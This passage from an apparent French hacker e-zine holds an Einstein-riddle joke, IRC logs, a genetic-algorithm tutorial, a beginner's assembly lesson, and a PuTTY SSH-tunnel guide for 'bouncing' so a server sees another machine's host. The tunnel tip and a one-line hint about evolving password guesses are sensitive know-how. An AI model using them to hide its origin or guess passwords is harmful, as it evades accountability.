+------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien Danois Anglais Allemand Suédois ******* thé lait café bière Dunhill ******* ******* Rothmanns Whinfield ******* cheval ******* ******* chien #Regardons et concluons : - tout le monde bois quelque chose que le Norvégien donc pour qu'il ne pleure pas , donnons lui de l'eau :). - comme on a donner de l'eau au Norvégien , on donnera du Marlboro a son seul voisin le Danois (car "Le fumeur de Marlboro a un voisin qui boit de l’eau"). - maintenant tout le monde fume.. a pars l'Anglais , donc donnons lui ce qui nous reste de cigarettes: du Pall Mall. - [Le fumeur de Pall Mall a un oiseau]==> on dirai que l'Anglais veut un ptit zouille zouille (oiseau). #voyons ce qui a été fait dans le dessin: +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune | | bleu | | rouge | | verte | | blanche | | | | | | | | | | | +------------+ +------------+ +------------+ +------------+ +------------+ Norvégien Danois Anglais Allemand Suédois eau thé lait café bière Dunhill Marlboro Pall Mall Rothmanns Whinfield ******* cheval oiseau ******* chien brrr...le suspense augmente : QUI A CE P**** DE POISSON ??????!!!! mais Einstein était la pour nous aidez : Session Start: Sat Nov 29 19:19:08 2003 Session Ident: #[Génies&co] [19:19] *** Now talking in #[Génies&co] [19:19] *** Topic is '-=[Génies&co]=- www.Genies.co.fr | <3inst31n>je cherche des pics pour adulte, aider moi ,SVP!!! ' [19:19] *** Set by Pascal on Sat Nov 29 12:49:29 [19:19] lu [19:19] *** Quits: Pascal (Pascal@Recycled-irc-1C4270D5.31337.madchat.org) [19:25] *** hERMOL7 is now known as hERMOL [19:26] <+hERMOL> !halfop [19:26] *** GenieBot sets mode: +h hERMOL [19:29] *** Joins: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org) [19:29] *** GenietBot sets mode: +v 31nst31n [19:30] <+31nst31n> lu tt le monde [19:31] <+DalKiT> lu [19:32] lu [19:32] <+31nst31n> comment ca va, serious [19:33] mal, très mal, chui bloque dans ta putin d'enigme [19:33] <+31nst31n> si tu veut jt'aide [19:33] ok ,t'a pas d'indices ? [19:43] <+31nst31n> hmmm...laisse moi pense [20:43] <+31nst31n> voit ça: [20:43] <+31nst31n> Le fumeur de Marlboro habite à côté de celui qui a un chat. [20:44] *** Quits: 31nst31n (Einstein@Recycled-irc-1C427-P45.31337.mindkind.org) oui,oui celui qui fume du Marlboro habite a côté de celui qui a un chat donc celui qui a un chat c''est le Norvégien :) (.) /___c'est une parabole CONCLUSION: | \ ** ** ** ** ** /. \ / \ / \ / \ / \ / \ / , \ / , \ / , \ / , \ / \ / , , \ / , , \ / , , \ / , , \ +------------+ +------------+ +------------+ +------------+ +------------+ | Jaune _ | | bleu _ | | rouge _ | | verte _ | | blanche _ | | |o| | | |o|| | |o| | | |o|| | |o|| +--------|-|-+ +---------|-|+ +--------|-|-+ +---------|-|+ +---------|-|+ Norvégien Danois Anglais Allemand Suédois eau thé lait café bière Dunhill Marlboro Pall Mall Rothmanns Whinfield chat cheval oiseau /|\ chien | | ________/ / | | | / |\ |\ | \ \ \ M i n d| o\ ) \-----------| ) ) / K i n d| _/ / / | / |/ |/ c'était pas si difficile ,non ? je suis fier de moi,je fait parti des 2% de la population mondiale :) je me suis amuser a voir mon QI en se basant sur ce pourcentage : j'ai chercher un tableau ou courbe pour la classification de l'intelligence avec des pourcentage , le voici : +------------+---------------------------------+--------------------+ | QI | Classification | pourcentage de | | | | la population | +------------+---------------------------------+--------------------+ | >=130 | Très supérieur | 2.2% | +------------+---------------------------------+--------------------+ | 120-129 | Supérieur | 6.7% | +------------+---------------------------------+--------------------+ | 110-119 | Normale supérieur | 16.1% | +------------+---------------------------------+--------------------+ | 90-109 | Normale | 50.0% | +------------+---------------------------------+--------------------+ | 80-89 | Normale médiocre | 16.1% | +------------+---------------------------------+--------------------+ | 70-79 | Cas limité | 6.7% | +------------+---------------------------------+--------------------+ | =<69 | Arriération mentale | 2.2% | +------------+---------------------------------+--------------------+ on dirait que j'ai ou bien un QI de Swarzeneger ou un QI de >=130 :D bien sur ce résultat est totalement faux car: 1/il se peut que ce que prétendait Einstein est faux 2/même s'il est vrai, le pourcentage ne peux pas être vrai car l'intelligence des gens a "sûrement" augmenté depuis plus qu'un 1/2 siècle ( j'entend vos rire :D ) 3/ce qu'on utilise dans cet énigme c'est la logique , mais ce que mesure le QI c'est la mémoire , mathématique, manipulation de mots (ou quelque chose de sa) et... logique :) Remarque derniere minute: j'ai trouvé cette enigme ici: http://ledragounet.free.fr/drag22.pdf , il affirmait que "Einstein, qui a conçu cette énigme au siècle dernier, prétendait que 98 % de la population mondiale était incapable de résoudre ce problème" mais "a ma surprise" , j'ai trouvé qu'en pyrofreak #10 , ils disaient "Selon Einstein, "70%" des gens sont INCAPABLES de résoudre le test suivant", ce qui est plus logique (c'est vrai que l'enigme n'est pas facile , mais elle n'est pas très difficile non plus), donc j'ai cherché d'autres sources oû j'ai trouvé la même affirmation que le premier liens , étrange. _______________________ "Imagination Is more Important than Knowledge."__Albert Einstein*** "The best way to predict the future is to invent it"__TrouVez Chez Mindkind******** "we are'nt arrogant, we are just better than you"__TrouVez Che< Mindkind*********** "Si on vous dit que chez nous il règne mauvaise humeur, répondez simplement que cela vient des hormones..."__Madchat Spam************************************************ .----------------------------------------------- - - --- - --- | Seriousman [Seriousman at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - -> Putty.exe, ez ssh tunnel Ça vous tente de bouncer a partir d'une box que vous avez un accès shell dessus. Malheureusement ça vous tente pas d'installer un proxy ou une merde du genre. Eh bien si ya ssh ya moyen de faire un "ssh tunnel". En gros c'est de prendre la connexion ssh comme un proxy (ou tunnel), le tout sans interféré la session. Comment faire? Avec putty.exe c'est simple : Loader votre session (sans se connecter), et aller dans Connection, SSH, Tunnels. En bas dans Source port écriver 6969 par exemple, et destination le IP:PORT de la destination. Vous cochezz local. Ensuite vous cliquer Add. Et voila! Connecter vous sur la box en SSH, et ensuite vous pouvez vous plugger sur votre localhost 127.0.0.1 sur le port 6969 pour avoir le tunnel de votre ssh (en ayant cocher Local ça va faire que le port est accessible localement seulement). Par exemple si vous mettez 194.134.7.195:6667 comme serveur et que vous vous connecter sur 127.0.0.1:6969 dans votre client IRC, vous allez vous ramasser sur le serveur IRC du IP, mais avec le host de la machine a laquelle votre session SSH est ouverte. De plus, vous pouvez utiliser la session SSH comme d'habitude, le tunnel est "transparent". ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.10 Mendel et ses bytes : aka 'les algorythmes genetiques' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | I. Introduction Il existe des problèmes pour lesquels on ne peut pas trouver de solution optimale parcequ'il n'existe pas d'algorithme pour la trouver ou parceque les algos existants sont trop coûteux. Mais comme vous vous en doutez, on ne veut pas lacher l'affaire, il nous FAUT la solution ou le truc qui s'en rapproche le plus. C'est à ça que servent les algorithmes génétiques dont nous allons parler dans cet article... (comment vous aviez deviné ?) si vous n'aimez pas la théorie, que vous avez mal à la tête ou que vous devez nourrir votre lémurien dans 2mn : goto end; On va prendre un exemple de cas qui arrive souvent : on a une "boite noire" (f) à qui on passe une valeur (x) et qui nous retourne une autre valeur en échange (y). Mais on ne connait pas f pour une raison quelconque (vous n'avez pas les sources de f, f est quelque part sur le réseau sur une machine sécurisé, ... [complétez les pointillés comme vous le sentez]). Notre problème c'est qu'on veut trouver la valeur de x qui donne un certain y sans rien savoir sur f... La première solution barbare c'est de passer toutes les valeurs de x possibles à f et éspérer obtenir en retour le y qu'on veut... évidemment cette solution ne marche pas dès que le nombre de x possible est grand ou que f est difficilement calculable. On parlait pas d'algos génétiques par hasard ? I. Bases On va commencer par initialiser quelques solutions possibles aléatoirement. On commence donc avec x1, x2, ..., xN qui sont des x possibles parmi les solutions mais pris totalement au hasard. On demande à f les y qui correspondent à ces x... On se retrouve donc avec f(x1), f(x2), ... f(xN). La deuxième chose essentielle c'est qu'on doit avoir une fonction "g" qui nous donne la qualité d'une solution. Par exemple plus une solution est proche de ce qu'on cherche, plus g(xI) va retourner une petite valeur.C'est ce qu'on appelle la fonction d'évaluation. Si vous ne pouvez pas en trouver une pour votre problème ===> goto end; Cette fonction sert à classer les solutions qu'on a sous la main de la meilleure à la moins bonne. bon ça fait pas mal de blabla tout ça, je vous saoule ? ok. on va prendre un petit exemple concret : on va se prendre un f tout bête pour l'exemple f(x) = 2*x (je vous rappelle que nous on NE CONNAIT PAS f sinon aucun interêt) On veut trouver le x pour lequel f(x) = 100 il nous faut la fonction d'évaluation g(x) qui dit si x est une bonne solution... dans ce cas ci c'est simple une solution est bonne si elle est proche de 100 donc on regarde la distance entre 100 et f(xI) : g(xI) = | 100 - f(xI) | Plus on va se rapprocher de ce qu'on cherche (100), plus g va retourner une petite valeur donc c'est ok. On initialise aléatoirement quelques x : 2, 5, 10, 7, 24, 38 avec notre g, on évalue leur qualité et on les classe : 1. 38 2. 24 3. 10 4. 7 5. 5 6. 2 (ok ok j'avoue mon exemple est débile mais c'est juste pour expliquer hein) Quel interêt ? vous trouvez ça idiot ? bah maintenant on va faire se reproduire nos solutions ! (non je n'écris pas sous l'emprise de substances psychotropes ;o) II. Main Une fois qu'on a le classement de nos solutions de la meilleure à la moins bonne, on va sélectionner les meilleures solutions pour qu'elles deviennent les parents des solutions suivantes... (obscur ? read_next();) D'après ce qu'on vient de dire, on va donc se prendre quelques solutions parmi les meilleures : 38, 24, 10 Ce sont les parents de nos solutions suivantes. On va maintenant voir comment leur faire faire des enfants : Comme le titre de l'article est "les algorithmes génétiques", il va bien falloir les placer quelques part les gènes : read_next(); ! On va considérer les solutions qu'on a sélectionnées comme des chromosomes...dans ce cas ce sont des nombres qui ont une représentation binaire, donc on peut les voir comme : 38 : 0 1 0 0 1 1 0 24 : 0 0 1 1 0 0 0 10 : 0 0 0 1 0 1 0 c'est marrant ça ressemble à un chromosome comme ça non ? si vous avez suivi 2 3 cours de biologie vous vous rappellez peut être de comment se combinent 2 chromosomes... On tire au sort 2 parents : on va dire 38 et 24 on veut un truc qui fasse 1 0 0 1 1 0 + 0 1 1 0 0 0 = deux enfants... bah il suffit de prendre un indice dans le papa : 0 1 0 0 1 1 0 ^ ça nous fait 2 bouts de chromosomes : 1 0 0 et 1 1 0 on fait pareil avec la maman de manière à pouvoir faire des enfants de la même taille que les parents : 0 0 1 1 0 0 0 ^ maintenant il suffit de recombiner 1 morceau du papa avec 1 morceau de la maman * 2 et on obtient 2 enfants : 0 1 0 0 + 0 0 0 = 0 1 0 0 0 0 0 0 0 1 1 + 1 1 0 = 0 0 1 1 1 1 0 on repasse dans la représentation compréhensible (phénotype pour les fans de biologie) : 1 0 0 0 0 0 = 32 0 1 1 1 1 0 = 30 bon c'est pas encore super mais on peut voir que on va vers une amélioration des solutions...On recommence l'opération plusieurs fois jusqu'à ce qu'on ait assez d'enfants. Par contre on a oublié un truc qui se passe dans la nature (cf cours de biologie toujours [héhé comme quoi ya des trucs qui servent là où on l'attend pas]). pendant les reproductions, il arrive que par magie, un élément d'un gène change spontanément... on appelle ça la mutation. dans notre algorithme génétique, on va donc fixer une probabilité qu'un enfant soit victime d'une mutation (yen a sur #mindkind.org qui ont du muter plus d'une fois d'ailleurs... anyway : read_next();) par exemple, on avait fait un enfant 0 1 0 0 0 0 0 on tire un indice au hasard (par exemple 3) => l'enfant mute et devient 0 1 1 0 0 0 0 ! Il faut cependant que la probabilité que ça arrive ne soit pas trop importante, sinon nos reproductions ne vont rien améliorer du tout... souvent on prend p(mutation) = 0.05 ou 0.1 à la rigueur... au dessus c'est que vous habitez tchernobyl et vous aurez des enfants loupés :/ On rajoute tous les enfants qu'on a obtenu avec les parents. on refait un classement et on sélectionne les N meilleurs (ici 6 puisqu'on a commencé avec 6 solutions au début) et on recommence tout ça depuis le début ! On s'arrête quand on a trouvé ce qu'on cherchait... pour certains problèmes très difficiles pour lesquels une solution approchée suffit, on s'arrête au bout d'un temps fixé ou quand la meilleure solution trouvée est assez proche de celle cherchée. III. Résumé Comme tout ça n'est pas très clair un petit pseudo code ne fait pas de mal : population = initialisation_aleatoire(); while(bonne solution pas dans population) { faire un classement de population avec la fonction d'évaluation; parents = meilleurs de population; enfants = résultat de la reproduction des parents; // ne pas oublier // de faire quelques // mutations population_intermediaire = parents + enfants; faire un classement de population_intermediaire avec la fonction d'évaluation; new_population = meilleurs de population_intermediaire; population = new_population; } Il existe pas mal de variantes de cet algorithme de base... notamment au niveau des méthodes de sélection des parents ou de la nouvelle population. On n'est pas obligé de toujours choisir les meilleurs : on peut tirer au sort des chromosomes en fonction de leur place au classement (du genre : 1er a 30% de chances d'être tiré au sort, le 2ème 20%, ...) A vous de voir comment vous pouvez faire varier des paramètres, la façon de sélectionner des individus, leur méthodes de reproductions... IV. Conclusion merci à ceux qui ont lu jusqu'ici... j'éspère que j'ai pas été trop obscur ! Si j'ai attisé votre curiosité c'est déjà ça :o] Pour ceux qui sont pas trop bêtes, vous remarquerez que les algorithmes génétiques sont applicables à pleins de trucs : imaginez que vous cherchez une chaine de caractères (password ou autre), il suffit de remplacer les 0 et les 1 par des caractères et ça revient au même (par contre la fonction d'évaluation "g" peut être plus difficile à trouver) Les algos génétiques ne sont pas magiques non plus... il n'y a aucune assurance de trouver la bonne solution ! votre algo peut tourner 10^32 années sans jamais trouver la solution. mais dans la plupart des cas du style de celui du dessus, avec un poil de chance, il s'arrête vite et donne des résultats pas trop mauvais. si ça vous a plu, faites le savoir et peut être que je coderai un petit truc en C pour le prochain zine qui illustre tout ça de manière pratique. .----------------------------------------------- - - --- - --- | TheTurtle [theturtle at email2me dot net] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < Mindkind fun nights on IRC > [00:46] LastCall_ envoye moi des biscuit au chocolat [00:46] hum [00:46] tu code? [00:46] haha [00:46] non, jai faim [00:46] 00:46] DCC Send of biscuit_pépites_chocolat to Wyzeman: Unable to open file [00:46] marche pas [00:47] connerie de mirc [00:47] hahaha [00:47] va sur #aide [00:47] haahaha [00:47] [00:47] * Now talking in #aide [00:47] [00:47] ail jai un gros problème [00:47] [00:47] mon mirc arrive pas a sender des biscuits a mon ami [00:47] [00:47] quoi faire? [00:47] hahah [00:47] lol [00:47] [00:47] ca dit DCC Send of biscuit_pépites_chocolat to Wyzeman: Unable to open file [00:48] [00:48] LastCall_ le 'directory' du fichier que tu essaie d'envoyer n'est pas bon ou l'extension du fichier est le problème [00:48] HAHAHAHA [00:49] quote [00:49] esti qui sont stupide [00:49] 0:49] ben [00:49] [00:49] ahah [00:49] [00:49] mes biscuits sont dans l'armoire, faudrait jles apporte proche de lordi? [00:49] hahahahaha [00:49] ROFLMAO [00:49] lol [00:50] mindkind, votre divertissement de fin de soiree [00:50] mindkind, un quote attend pas lautre :) [00:50] 0:49] JP' tu voit bin quit niese [00:50] [00:50] * You were kicked by X ((JP) tu connais le complexe d'eudype?) [00:50] [00:50] * Attempting to rejoin channel #aide [00:50] [00:50] * Unable to join channel (address is banned) [00:50] HAHAHA < ----------------------- > ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.11 intro à l'asm : aka 'au debut, ben yavait l'asm' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | TABLE DES MATIÈRES 1.0...................................INTRO 1.1............FONCTIONNEMENT.DU.PROCESSEUR 1.1.1......................LANGUAGE.MACHINE 1.1.2.............................RÉGISTRES 1.2............FONCTIONNEMENT.DE.LA MÉMOIRE 2.0................PROGRAMMER.EN.ASSEMBLEUR 2.1.....................OUTILS.NESCESSAIRES 2.1.1...................SYNTHAXE.DES.OUTILS 2.2.......PRÉSENTATION.DE.COMMANDES.DE.BASE 2.3...........ANALYSE.D'UN.VRAI.CODE.SOURCE 2.4.............................APPROFONDIR 2.5..............................CONCLUSION 1.0) INTRO Cet article s'adresse à des débutants. Si vous avez déjà le moindrement codé en assembleur, je vous conseil de ne pas perdre votre temps à lire ce qui suis, ce sera sans doute du déjà vu pour vous. L'assembleur est un language de programmation de bas niveau. En fait, plus bas que l'asm c'est carrément le language machine, c'est à dire les seules instructions que le processeur comprend ( voir plus loin ). L'avantage de programmer en assembleur c'est que les progs codés directement en asm sont beaucoup plus rapides à executer que les programmes codés en c++, en java ou en n'importe quels autres languages on s'en sacre. Une des raisons de cette rapidité d'éxécution réside dans le compilateur. En effet, quand on code de quoi en c++, le compilateur doit convertir toutes les insctructions en assembleurs, puis par la suite le convertir en language machine tandis que si on code en asm, le compilateur a juste besoin de le convertir en language machine. Jusque là ça change rien puisque les 2 finissent en language machine mais les compilateur de c++, quand ils convertissent des trucs en assembleur, ils rajoutent pleins d'instructions inutiles au fonctionnement de base du programme ( c'est comme faire un document html avec un éditeur html ).Tous le code qui rajoute va ralentir l'exécution du programme. Il y a plusieurs autres avantages de codé directemet en assembleur. Par exemple, l'assembleur permet un accès direct aux périfériques de la machine. C'est pourquoi plusieurs applications qui utililes les différents périfériques ( carte de son, carte vidéo... ) sont codés en partie en asm tels que des jeux ou des systèmes d'exploitations. Pour pouvoir coder en assembleur, il faut une très bonne connaissance du fonctionnement de l'ordinateur à l'interne. C'est à dire le fonctionnement du processeur (surtout) et de la mémoire. La suite de l'article va donc être consacrée à un overview du fonctionnement général du processeur et aussi de la mémoire. 1.1) FONCTIONNEMENT GÉNÉRAL DU PROCESSEUR 1.1.1) LANGUAGE MACHINE : Chaque processeur est doté d'un set d'instruction. Ces instructions sont les seules choses qu'il comprenne. Les différents processeurs 32 bits ont environ tous les même sets d'instructions pour qu'ils soient tous compatible avec divers périfériques de différentes marques sur le marché. C'est l'ensemble de ces instructions qui forme le language machine. Pour bien comprendre jettons un coup d'oeil à l'image nommée "Instrucion set" disponible dans la version full du zine. Chaque commande en assembleur est associé à une code. À titre d'exemple, la commande PUSH AX en assembleur est défini par le code 50 (5e ligne, 0e colone) dans le set d'instruction du processeur. Ce qui veux dire qu'une fois convertit en language machine, l'instruction PUSH AX que j'ai écrite sera transformée par 50. Le processeur va savoir que lorsqu'il voit 50, il doit faire PUSH AX. Même chose avec chaque instruction asm ( exemple 2 : LOOP sera traduis par E2 ), et ainsi de suite... 1.1.2) RÉGISTRES : La 2e chose essentielle à savoir lorsqu'on code en assembleur c'est le fonctionnement des régistres. Pour simplifier le tout, je vais commencer par les processeurs 16 bits. Chaque processeur 16 bits contient 4 régistres de bases ( AX, BX, CX, DX ) et chaque régistre de base est séparé en 2 : Low level et High level ( AH, AL, BH, BL, CH, CL, DH, DL ). Puisqu'un dessin vaut milles mots... Exemple avec le régistre AX _____________ | | | AX(16 bits) | |_____________| | | | | AH | AL | <---- 2 sous-régistres de 8 bits chaqun |_____|_______| En 32 bits, c'est la même chose exepté que les régistres de bases sont appelés EAX, EBX, ECX, EDX ( extended...) Exemple avec le régistre EAX ___________________________________________ | | | EAX ( 32 bits ) | |___________________________________________| | | | AX ( 16 bits ) | |_____________________| | | | | AH | AL | <------ 8 bits chacun |__________|__________| En assembleur, chaque régistre de base est utilisé comme une variable pouvant contenir une seule donnée numérique. Pour stocker des chiffres il n'y a aucun problème mais pour stocker un caractère il va falloir utiliser son code ASCII correspondant ( voir ASCII.jpg dans la version full du zine ). *****************************ENRICHISSEMENT************************************ Il existe également 5 autres régistres qu'on appelle "Régistre d'offset". Il s'agit de BP, SP, IP, SI et DI. Évidemment en 32 bits chaques régistres sera précédés d'un E. - SI : Source Index Ce régistre est associé au régistre de segment DS ( voir plus loin ). Principalement utilisé lors d'opération sur des chaînes de caractères. - DI : Destination Index Ce régistre est associé au régistre de segment DS ou ES. Principalement utilisé lors d'opération sur des chaînes de caractères aussi. - BP : Base Pointer Ce régistre est associé au registre de segment SS pour accéder aux données de la pile lors d'appels ( CALL ) de sous-programmes (fonction). - SP : Stack Pointer Ce régistre est associé au registre de segment SS pour indiquer le dernier éléments de la pile. - IP : Instruction Pointer Ce régistre est associé au registre de segment CS pour indiquer la prochaine instruction à executer. Les régistres de segments sont utilisés pour stocker l'adresse de début d'un segment ( début d'instruction d'un programme, du début de la pile ou du début des données ). - CS : Code segment Ce registre indique l'adresse du début des instructions d'un programme ou d'une fonction. - DS : Data segment Ce registre contient l'adresse du début des données de vos programmes. - ES : Extra segment Ce registre est utilisé par défaut par certaines instructions de copie. En dehors de ces instructions, vous pouvez l'utiliser comme vous voulez. - SS : Stack segment Pointe vers la pile. Les processeurs 32 bits ( récents ) et 64 bits ont quelques autres régistres qui ont été ajouté pour amélioré la rapidité du traitement des données. ******************************************************************************* 1.2 ) LA MÉMOIRE Une connaissance de base du fonctionnement général de la mémoire est nécessaire pour commencer à programmer en assembleur. La mémoire se divise en deux grosses parties ; la pile ( stack ) et le tas ( heap ). La pile sert généralement à entreposer les variables locals simples déclarées dans un programme ou à entreposer les adresses de variables complexes ( ex. tableau ) qui pointes vers le heap. La grosseure de la pile dépend de la facon dont le prog a été compilé. Je ne vais pas donner un cours complet sur le fonctionnement de la mémoire mais ce qui est important à retenir pour coder en asm c'est que lorsqu'on stock une valeur quelquonque dans la pile, celle-ci vient se mettre par dessus lautre valeur d'avant, donc pour utiliser l'autre valeur d'avant il va falloir d'abbord dépiler la nouvelle valeur qu'on vient de rajouter. C'est le même principe qu'une pile d'assiettes de différente couleur. Si on en met une rouge, ensuite une verte par dessus, ensuite une jaun e par dessus, pour aller chercher la rouge du début il va falloir d'abbord enlever la jaune, puis la verte. C'est tout ce qui est important de savoir sur la mémoire pour une programmation assembleur basic. 2.0 ) PROGRAMMER EN ASSEMBLEUR Ce qui faut retenir en assembleur et non dans les autres languages c'est que l'asm est un language de bas niveau donc il ne faut pas se casser la tête. Il n'existe pas vraiment de fonction complexe déjà défini comme en c++ tel des for, while, if-else, etc... Chaque fonction en assembleur jou un seul rôle, c'est en parti à cause de celà qu'un petit programme bien simple en asm peut prendre facilement 1000 lignes de code tandis qu'il en aurait pris 50 en c++ (à peine exagéré). 2.1 ) OUTILS NESCESSAIRES Pour commencer, ça va vous prendre un compilateur et un linkeur pour compiler et pour 23nWpHvCQqZ32 ( seul les plus l33t saurons décrypter le mot secret ) vos programmes assembleurs. Je vous suggère d'utiliser mASM qui a été développé par microsoft (déception) car il est simple d'utilisation et fait très bien la job pour commencer. Ensuite ça va vous prendre un éditeur de texte pour écrire le code. 2.1.1) SYNTHAXE Pour compiler un code écrit dans un .txt avec masm il suffit d'aller dans le répertoire où masm et votre code sont situé dans un prompt dos et de tapper : masm "chemin complet vers le code"code.txt. Exemple avec un code qui serait dans le même dossier que masm : c:\MASM> masm code.txt Si tout va bien le compilateur va afficher : Microsoft (R) MASM Compatibility Driver Copyright (C) Microsoft Corp 1993 blablabla Invoking: ML.EXE /I. /Zm /c /Ta code.txt Microsoft (R) blablabla Assembling: code.txt c:\MASM> Avec aucune erreur le compilateur va retourner de lui même au prompt dos. Remarquez dans le dossier de votre programme que masm a maintenant créé le fichier obj. C'est ce fichier qu'on doit maintenant linker pour obtenir un executable. Ensuite on link le programme avec link.exe, de la même facon que masm. c:\MASM> link code Microsoft (R) Macro Assembleur blablabla Copyright (C) Microsoft Corp blablabla Run File [code.exe]: on pèse sur enter List File : on pèse sur enter Libraries [.lib] : on pèse sur enter Definitions File : on pèse sur enter c:\MASM> De retour au prompt dos, l'executable code.exe est maintenant créé. 2.2 ) COMMANDES DE BASES Voici quelques commandes de bases. Vous pourrai ensuite les voir en action dans la prochaine partie de l'article. - Les instructions d'affectations : MOV a,b : a = b XCHG a,b : interchanger la valeur de a et b PUSH a : mettre a dans la pile POP a : sortir a de la pile - Les sauts CMP a,b : a - b JMP a : saut à l'adresse a Il existe une panoplie de sauts différents. Je ne vais pas les énumérer tous. - Les calculs arithmétiques ADD a,b : a = a+b ( sans retenue ) ADC a,b : a = a+b ( avec retenue ) SUB a,b : a = a-b ( sans retenue ) SBB a,b : a = a-b ( avec retenue ) INC a : a = a+1 DEC a : a = a-1 NEG a : a = -a MUL a : AX = AL a DIV a : AL = AX / a - Les opérations logiques AND a,b : a = a et b OR a,b : a = a ou b - Les fonctions et interruptions CALL a : appel de la fonction située à l'adresse a RET : retour de la fonction INT a : appel de l'interruption a IRET : retour de l'interruption Une interruption est une sorte de fonction déjà établie (oui j'ai menti talleur en disant qu'il n'avait aucune fonction pré-fabriquée) qui, selon les paramètres qu'on lui fourni, va effecuter sa tâche. Dans la prochaine partie de l'article l'interruption 21 va être utilisée. Vous allez donc mieux comprendre la logique des interruptions. 2.3 ) ANALYSE D'UN CODE SOURCE -------->8---cut here--->8--------------------- ecran segment d db ? ecran ends pile segment para stack 'pile' db 256 dup (0) pile ends code segment para 'code' prog proc far assume cs:code,es:ecran push ds mov ax,0 push ax mov ax,0b800h mov es,ax mov dh,0 mov cl,0 mov ch,0 et1: mov dl,dh mov ah,2 int 21h inc cl cmp cl,15 jnz et2 mov dl,10 mov ah,2 int 21h mov dl,13 mov ah,2 int 21h mov cl,0 et2: inc dh cmp dh,255 jnz et1 ret prog endp code ends end prog -------->8---cut here--->8--------------------- Premièrement ce programme sert tout simplement à afficher les 255 caractères de la table ASCII nord américaine que votre pc utilise probablement. Pour voir la table des codes ASCII, allez faire un tour sur www.asciitable.com ou regardez l'image ASCII.gif disponible dans la version full du zine. On va commencer à assume... car ce qui a plus haut n'est qu'un squelette de base et n'influence en rien l'action du programme. Donc on lui dit que le segment es va être l'écran et que cs va être le code segment (ca sera important pour plus tard ). Ensuite l'instruction push sert à pousser un régistre ou une valeur dans la stack, permettant d'aller la rechercher par la suite. Il faut pas oublier que si on push plusieurs valeurs une après l'autre, la première est en dessous donc il va falloir aller sortir toutes les autres qu'on a pusher par dessus avant de pouvoir atteindre celle qu'on veux. Pour aller rechercher une valeur stockée dans la pile, on utilise l'instruction pop. exemple : push ax [...] pop ax Ensuite vient l'instruction MOV AX,0. MOV sert tout simplement à copier une valeur vers une place quelquonce. Dans ce cas on met la valeur 0 dans le régistre AX. En assembleur chaque régistre peut être utilisé comme une variable. Ensuite on push ax dans la stack. Ensuite vient l'instruction mov ax,0b800h. Comme vous le savez sa sert à mettre 0b800 dans le régistre ax. Le h de la fin veut simplement dire que le chiffre est en hexadécimal. 0b800 c'est l'addresse de l'écran ( WTF !?! ). En assembleur il existe 2 mode: le mode graphique ou le mode console. L'affichage du mode console commence à l'adresse B800. Le mode graphique est beaucoup plus compliqué je ne vais donc pas en parler dans cet article. Pour mieux comprendre l'affichage du mode console, essayez l'exercice suivant. 1- Ouvrez une console dos et entrez dans l'utilitaire debug par la commande : debug 2- Remarquez ce qui est écrit en haut de votre console : Microsoft (R) Windows DOS 3- Ensuite allez modifier la valeur du premier caractère de l'affichage, c'est à dire le caractère qui se trouve exactement à l'adresse b800. Pour celà, on utilise la commande "e". Tappez donc "e b800:0000" (adresse : offset). Exemple: c:\>debug -e b800:0000 4- Maintenant trouvez vous un nouveau caractère à afficher, aidez vous avec la table ASCII. Il ne faut pas oublier que les chiffres que vous allez entrer vont être considérés comme des chiffres en hexadécimal. Donc pour afficher le caractère 'A' il faudrait choisir le code ASCII 41 ( celui qui représente le 'A' en hexa ). Entrez le chiffre. Exemple : c:\>debug -e b800:0000 B800:0000 XX.41 5- Regardez le haut de votre console ou allez vérifier dans la mémoire avec la commande d b800:0000. Le M de microsoft c'est transformé avec le caractère de votre choix. Vous êtes donc aller directement modifier le contenu de la mémoire à l'adresse du début de l'affichage console. Après avoir mi l'adresse du début de l'affichage dans AX, l'instruction suivante met le régistre ax dans le segment es, qui est notre écran. On doit passer par un intermédiaire ( ax bx cx dx ) pour mettre une adresse dans un segment comme on le fait. C'est pourquoi on ne met pas directement 0b800h dans es. Ensuite on initialise nos 3 régistres dont on va se servir à 0 ( dx high level, cx low level et cx high level ) Bon, là on commence le vif du programme. Et1: agit exactement comme un GOTO x: dans un batch file. C'est à dire que plus tard dans le programme, si on a à refaire le traitement qui se trouve dans Et1, alors on peut y retourner avec un jump(expliqué plus tard). Attention de ne pas confondre ceci avec une boucle. Les trois instructions suivantes vont un peu ensemble. mov dl,dh mov ah,2 int 21h On va commencer par la fin pour mieux comprendre. int 21h c'est pas une déclaration de variable int comme en c. Ca veut dire interruption 21. Le h sert encore à dire que c'est en hexadécimal. Bon, à quoi ça sert un interruption. Chaque interruption fait une fonction définie. Pour bien comprendre tout ce que l'interruption 21 peut faire il faudrait écrire un zine seulement sur ca alors disont que en gros, l'interruption 21 va prendre le caractère qui se trouve dans dl ( en code ASCII ) et va l'afficher à l'écran. Mais l'interruption 21 fait beaucoup d'autre chose, c'est pourquoi les int sont divisés en fonction. La fonction appelée se trouve dans ah. Donc on peut voir ici que l'interuption 21 fonction 2 est appelée pour afficher ce qui se trouve dans dl, c'est à dire 0 car on mov dh dans dl, dh contenant 0. Donc à la fin de ces 3 lignes, l'interuption 21 fonction 2 va afficher le caractère corespondant au code ASCII 0. inc cl cmp cl,15 jnz et2 inc agit exactement comme ++ en c. il va tout simplement incrémenter le registre de 1. Comme là, cl vallait 0 mais maintenant il vaut 1. Ensuite cmp cl,255 va comparer ( cmp = compare ) la valeur dans le régistre avec celle demandé. Ici il compare la valeur de cl ( qui est 1 ) avec 15. Je rapelle que l'assembleur est le language le plus proche du language machine, donc il 